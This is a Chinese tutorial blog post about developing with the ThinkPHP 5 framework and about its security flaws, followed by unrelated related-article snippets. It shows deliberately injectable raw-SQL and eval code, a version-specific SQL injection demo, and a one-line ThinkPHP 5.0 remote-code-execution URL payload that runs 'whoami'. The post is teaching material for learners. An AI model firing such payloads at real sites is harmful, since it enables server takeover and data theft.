第27天 安全开发-PHP应用TP 框架路由访问对象操作内置过滤绕过核心漏洞

时间轴

演示案例

TP 框架-开发-配置架构&路由&MVC 模型
TP 框架-安全-不安全写法&版本过滤绕过

TP 框架-开发-配置架构&路由&MVC 模型

参考: https://www.kancloud.cn/manual/thinkphp5_1

1、配置架构-导入使用

去thinkphp官网可以看到,目前最新的版本是更新到了thinkphp8.0,但是本次演示案例用到的都是thinkphp5.1版本。
在使用一套框架之前,首先需要从官网导入源码,例如下图,将它导入到demo01文件夹下。
可以在ThinkPHP—>thinkphp—>base.php中查看当前框架的版本。
在使用框架进行开发以前,需要先解析目录(不能直接访问),在phpstudy中将它指向ThinkPHP下的public目录
接下来尝试用ip访问,可以看到
在刚才public路径下可以看到一个index.php文件,其中又定义了一个应用目录application,在官网手册中也可以看到index.php是入口文件。
找到application—>index—>controller下的index.php,尝试修改其中的代码,看看回显出来的页面是否也会改变。
把代码改成下图中的内容:
可以看到网页回显123

2、路由访问-URL 访问

通过下图,可以看到模块指的就是application下的index目录,控制器指的是index目录下的index.php,操作指index.php中的function index()。因此也就可以用ip/index.php/index/index来访问。
当增加一个操作xiaodi,就可以用ip/index.php/index/index/xiaodi来访问
可以认定为:ip/index.php(在index文件下的)/index(目录)/index(文件)/index(函数)

非官方写法访问方式

当使用非官方的写法访问时,可以看到只能用?x=1来访问,而当使用/x/1时访问报错。

官方写法访问方式

当使用官方写法访问时,?name=12可以访问,/name/12也可以访问

<?php
namespace app\index\controller;
use think\Controller;
use think\Request;

class Index extends Controller
{
    public function index()
    {
        return '123';
    }
    public function xiaodi()
    {
        return $this->request->param('name');
    }

}
?>

MVC模型

对应model(模板) view(视图) controller(控制器)

其中核心代码文件在controller中

3、数据库操作-应用对象

连接数据库

首先在application下找到database.php文件

修改database(数据库名)为demo01,username为root,密码123456,端口号3306,其余根据自己需求修改。

查询数据库

在navicat中找到之前创建的news表格

在ThinkPHP—>application下新建一个test文件夹,并在这个文件夹下创建controller文件夹,其中包含Test.php

非官方写法

以之前的news.php为例

<?php
include 'config.php';
//读取news.html中的内容
$template=file_get_contents('news.html');

$id=$_GET['id'] ?? '1';
$sql="select * from news where id=$id";
echo $sql;
$data=mysqli_query($con,$sql);
while($row=mysqli_fetch_row($data)){
    $page_title=$row[1];
    $heading=$row[2];
    $subheading=$row[3];
    $content=$row[4];
    $item=$row[5];
}

$template=str_replace('{page_title}',$page_title,$template);
$template=str_replace('{heading}',$heading,$template);
$template=str_replace('{subheading}',$subheading,$template);
$template=str_replace('{content}',$content,$template);
$template=str_replace('{$item}',$item,$template);

eval('?>'.$template);
//eval函数会将传递给它的字符串作为PHP代码执行,即将?>连接到$template的开头,再执行该字符串
?> 

当执行?id=1 and 1=1时,可以看到这个值会被接收

当输入?id=2时会出现报错

官方写法
<?php
namespace app\Test\controller;
use think\Db;
use think\Controller;

class Test extends Controller
{
    public function testsql()
    {
        //使用tp框架操作mysql数据库
        //SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1

        //规矩写法
        $id = request()->param('x');
        $data = Db::table('news')->where('id', $id)->find();
        return json($data);
    }
}
?>

当输入ip/index.php/test/test/testsql/x/1去查询这个数据库的时候,页面可以正常回显

并且可以发现,在/x/1后面输入任何东西都不会显示在页面上

结论

1.使用TP框架操作数据库时,默认是受到框架内置过滤保护的,而且方便开发。

2.原生态的数据库操作如果没有过滤就会受到SQL注入攻击。

4、文件上传操作-应用对象

首先在ThinkPHP—>public文件夹下新建一个upload.html,其中代码为

<form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post">
    <input type="file" name="image" /> <br>
    <input type="submit" value="上传" />
</form>

Test.php中代码改为

<?php
namespace app\Test\controller;
use think\Db;
use think\Controller;

class Test extends Controller
{   public function testsql(){
    //使用tp框架操作mysql数据库
    //SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1

    //规矩写法
//    $id=request()->param('x');
//      $data=Db::table('news')->where('id',$id)->find();

    //原生写法 有安全隐患
    //$id=request()->param('x');
    //$data=Db::query("select * from news where id=$id");


    $username = request()->get('username/a');
    db('admin')->insert(['username' => $username]);
    return 'Update success';

    //return json($data);
}

    public function upload(){
        // 获取表单上传文件 例如上传了001.jpg
        $file = request()->file('image');//获取表单上传文件
        // 移动到框架应用根目录/uploads/ 目录下
        $info = $file->validate(['size'=>1567800,'ext'=>'jpg,png,gif'])->move( '../uploads');
        if($info){
            // 成功上传后 获取上传信息
            // 输出 jpg
            echo $info->getExtension();
            // 输出 20160820/42a79759f284b767dfcb2a0197904287.jpg
            echo $info->getSaveName();
            // 输出 42a79759f284b767dfcb2a0197904287.jpg
            echo $info->getFilename();
        }else{
            // 上传失败获取错误信息
            echo $file->getError();
        }
    }
}

在ThinkPHP下创建uploads文件夹,用来存储接收的文件

由于phpstudy中的根目录就是public文件夹,因此可以直接用ip/upload.php来访问

当尝试上传图片时,就会跳转到以下页面

而当上传txt、docx等文件时,就会提醒文件后缀不允许

5、前端页面渲染-MVC 模型

在ThinkPHP—>application—>index下创建view文件夹,再在view下创建index文件夹,其中包含index.html和edit.html。

edit.html代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>sabiqudi</title>
</head>
<body>
kcnnqi
</body>
</html>

index.html代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>{$name}</title>
</head>
<body>
{$email}
</body>
</html>

index.php代码如下:

<?php
namespace app\index\controller;
use think\Request;
use think\Controller;

class Index extends Controller
{   public function index(){
    //return 123;
    $this->assign('name','ThinkPHP');
    $this->assign('email','thinkphp@qq.com');
    // 或者批量赋值
    $this->assign([
        'name'  => 'ThinkPHP',
        'email' => 'thinkphp@qq.com'
    ]);
    // 模板输出
    return $this->fetch('');//更改要渲染的页面
}
}

当index.php中为return $this->fetch('');时,默认渲染index.html,访问后页面如下:

当index.php中为return $this->fetch('edit');时,渲染edit.html,访问后页面如下:

TP 框架-安全-不安全写法&版本过滤绕过

1、内置代码写法

例子:不合规的代码写法-TP5-自写

当使用原生写法时,可以看到x后的内容被改变后仍然可以执行
而用规矩写法时,无论在x后输入什么,页面都不会改变
也就是分为官方规矩写法、用了一半安全写法、纯原生写法三种类型。

2、框架版本安全

例子 1:写法内置安全绕过-TP5-SQL 注入

参考文章:https://www.cnblogs.com/Yhck/p/15808056.html

可以看到,由于这个漏洞出现的版本是5.0.13-5.0.15,5.1.0-5.1.5,所以后续会用到5.0.14版本进行演示。下面先用5.0.22版本做一个对比。

由于5.0.22版本不在漏洞适用范围之内,可以看到页面返回为null

之后用5.0.14版本演示,先在phpstudy中更改路径为5.0.14中的public文件夹

为了看是否指向正确,可以让代码输出123来检验

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        echo 123;
    }
}

之后也是配置数据库

将index.php中的代码改为

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where("id")->update(['username'=> $username]);
    }
}

按照下面的命令访问

发现虽然报错,但是直接爆出了数据库名demo01

例子 2:内置版本安全漏洞-TP5-代码执行

以当前版本5.0.22为例
在ip后面输入/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,可以得到:
因此可以得到结论,用纯原生写法或者用一半的安全写法都不是安全的,用官方写法看似安全,但如果使用的版本本身存在漏洞,也可以利用这个漏洞进行攻击。

逻辑越权(类似于linux中的用户等级)

如下图,假设管理员的uid=1,普通会员的uid=100。当使用select * from users where username=‘admin’来取出uid结果时,如果uid=1,则展示管理员页面。

而在逻辑越权时,经常需要修改用户id编号,这个id编号也就类似于uid。当把uid=100修改成了uid=1,也就使普通用户变成了管理员,即实现了权限地跨越。
当使用discuz注册一个用户时,可以看到有adminid和groupid,系统就是以这两个来区分管理员和普通用户。当修改adminid=1、groupid=1后,就可以实现逻辑越权,从普通用户变成管理员。
本文章由李豆豆喵和番薯小羊卷~共同完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/918447.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Mac的Terminal随机主题配置

2024年8月8日 引言 对于使用Mac的朋友&#xff0c;如果你是一个程序员&#xff0c;那肯定会用到Terminal。一般来说Terminal就是一个黑框&#xff0c;但其实Terminal是有10款官方皮肤。 每个都是不一样的主题&#xff0c;颜色和字体都会有所改变。现在就有一个方法可以很平均…

开源项目低代码表单设计器FcDesigner获取表单的层级结构与组件数据

在使用开源项目低代码表单设计器FcDesigner时&#xff0c;获取和理解表单的层级结构非常关键。通过getDescription和getFormDescription方法&#xff0c;您可以清晰掌握表单组件的组织结构和层次关系。这些方法为操控表单的布局和配置提供了强大的支持。 源码地址: Github | G…

ReactPress vs VuePress vs RectPress

ReactPress&#xff1a;重塑内容管理的未来 在当今数字化时代&#xff0c;内容管理系统&#xff08;CMS&#xff09;已成为各类网站和应用的核心组成部分。ReactPress作为一款融合了现代Web开发多项先进技术的开源发布平台&#xff0c;正以其卓越的性能、灵活性和可扩展性&…

无人机在森林中的应用!

一、森林资源调查 无人机可以利用遥感技术快速获取所需区域高精度的空间遥感信息&#xff0c;对森林图斑进行精确区划。相较于传统手段&#xff0c;无人机调查具有低成本、高效率、高时效的特点&#xff0c;尤其在地理环境条件不好的区域&#xff0c;调查人员无法或难以到达的…

RTC纽扣电池寿命问题分析

一、 问题描述 一款带RTC功能的终端产品&#xff0c;RTC使用寿命设计要求高于5年&#xff0c;产品研发后测试&#xff0c;发现VDD_BATT的电流大于100uA&#xff0c;导致产品实际计算出来寿命只有半年之久&#xff0c;下图是RTC电路图&#xff1a; 图1 RTC供电电路 二、 原因分…

python成长技能之正则表达式

文章目录 一、认识正则表达式二、使用正则表达式匹配单一字符三、正则表达式之重复出现数量匹配四、使用正则表达式匹配字符集五、正则表达式之边界匹配六、正则表达式之组七、正则表达式之贪婪与非贪婪 一、认识正则表达式 什么是正则表达式 正则表达式&#xff08;英语&…

ElasticSearch学习笔记三:基础操作(一)

一、前言 上一篇文章中&#xff0c;我们学习了如何使用Java客户端去连接并且简单的操作ES&#xff0c;今天我们将对ES中的基本操作进行学习&#xff0c;包括索引操作、映射操作、文档操作。 二、索引操作 简单回顾一下索引&#xff0c;ES中的索引就有相同结构的数据的集合&a…

【AIGC】如何使用高价值提示词Prompt提升ChatGPT响应质量

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | 提示词Prompt应用实例 文章目录 &#x1f4af;前言&#x1f4af;提示词英文模板&#x1f4af;提示词中文解析1. 明确需求2. 建议额外角色3. 角色确认与修改4. 逐步完善提示5. 确定参考资料6. 生成和优化提示7. 生成最终响…

通过华为鲲鹏认证发行上市的集成平台产品推荐

华为鲲鹏认证是技术实力与品质的权威象征&#xff0c;代表着产品达到了高标准的要求。从技术层面看&#xff0c;认证确保产品与华为鲲鹏架构深度融合&#xff0c;能充分释放鲲鹏芯片的高性能、低功耗优势&#xff0c;为集成平台的高效运行提供强大动力。在安全方面&#xff0c;…

500左右的骨传导耳机哪个牌子好?用户体验良好的五大骨传导耳机

作为一名拥有十几年从业经验的科技爱好者&#xff0c;我主要想告诉大家一些关于骨传导耳机的知识。其中&#xff0c;要远离所谓的不专业产品&#xff0c;它们的佩戴不适和音质不佳问题高得吓人&#xff0c;尤其是很多宣称能提供舒适佩戴和高音质的产品&#xff0c;超过九成的用…

【MySQL】RedHat8安装mysql9.1

一、下载安装包 下载地址&#xff1a;MySQL Enterprise Edition Downloads | Oracle MySQL :: MySQL Community Downloads 安装包&#xff1a;mysql-enterprise-9.1.0_el8_x86_64_bundle.tar 官方 安装文档&#xff1a;MySQL Enterprise Edition Installation Guide 二、安装…

Java项目实战II基于Java+Spring Boot+MySQL的共享汽车管理系统(源码+数据库+文档)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在共享经济…

three.js 对 模型使用 视频进行贴图修改材质

three.js 对 模型使用 视频进行贴图修改材质 https://threehub.cn/#/codeMirror?navigationThreeJS&classifyapplication&idvideoModel import * as THREE from three import { OrbitControls } from three/examples/jsm/controls/OrbitControls.js import { GLTFLoad…

智能指针原理、使用和实现——C++11新特性(三)

目录 一、智能指针的理解 二、智能指针的类型 三、shared_ptr的原理 1.引用计数 2.循环引用问题 3.weak_ptr处理逻辑 四、shared_ptr的实现 五、定制删除器 六、源码 一、智能指针的理解 问题&#xff1a;什么是智能指针&#xff1f;为什么要有智能指针&#xff1f;智…

基于SpringBoot和uniapp开发的医护上门系统上门护理小程序

项目分析 一、市场需求分析 人口老龄化趋势&#xff1a;随着全球及中国人口老龄化的加剧&#xff0c;老年人口数量显著增加&#xff0c;对医疗护理服务的需求也随之增长。老年人由于身体机能下降&#xff0c;更需要便捷、高效的医护服务&#xff0c;而医护上门服务恰好满足了这…

Java——并发工具类库线程安全问题

摘要 本文探讨了Java并发工具类库中的线程安全问题&#xff0c;特别是ThreadLocal导致的用户信息错乱异常场景。文章通过一个Spring Boot Web应用程序示例&#xff0c;展示了在Tomcat线程池环境下&#xff0c;ThreadLocal如何因线程重用而导致异常&#xff0c;并讨论了其他并发…

Java-异常处理机制

Java-异常处理机制 一、异常概述1、异常的抛出机制2、如何对待异常3、异常的体系结构3.1、Throwable3.2、Error和Exception3.3、编译时异常和运行时异常3.4、常见的异常有哪些&#xff1f; 二、异常的处理方式一 try-catch的使用1、过程1&#xff1a;抛2、过程2&#xff1a;抓3…

MySQL深度剖析-索引原理由浅入深

什么是索引&#xff1f; 官方上面说索引是帮助MySQL高效获取数据的数据结构&#xff0c;通俗点的说&#xff0c;数据库索引好比是一本书的目录&#xff0c;可以直接根据页码找到对应的内容&#xff0c;目的就是为了加快数据库的查询速度。 索引是对数据库表中一列或多列的值进…

canva 画图 UI 设计

起因&#xff0c; 目的: 来源: 客户需求。 目的&#xff1a; 用数据讲故事。 数据可以瞎编&#xff0c;图表一定要漂亮。 文件分享地址 读者可以在此文件的基础上&#xff0c;继续编辑。 效果图 过程: 我还是喜欢 canva. figma&#xff0c; 我用的时候&#xff0c;每每都想…

HTTP 缓存策略

文章目录 一、HTTP的缓存的过程是怎样的&#xff1f;二、什么时候触发强缓存或协商缓存强缓存ExpiresCache-Control 协商缓存 三、服务器如何判断资源是否新鲜Last-Modified/If-Modified-SinceETag/If-None-Match 四、整体缓存过程 一、HTTP的缓存的过程是怎样的&#xff1f; …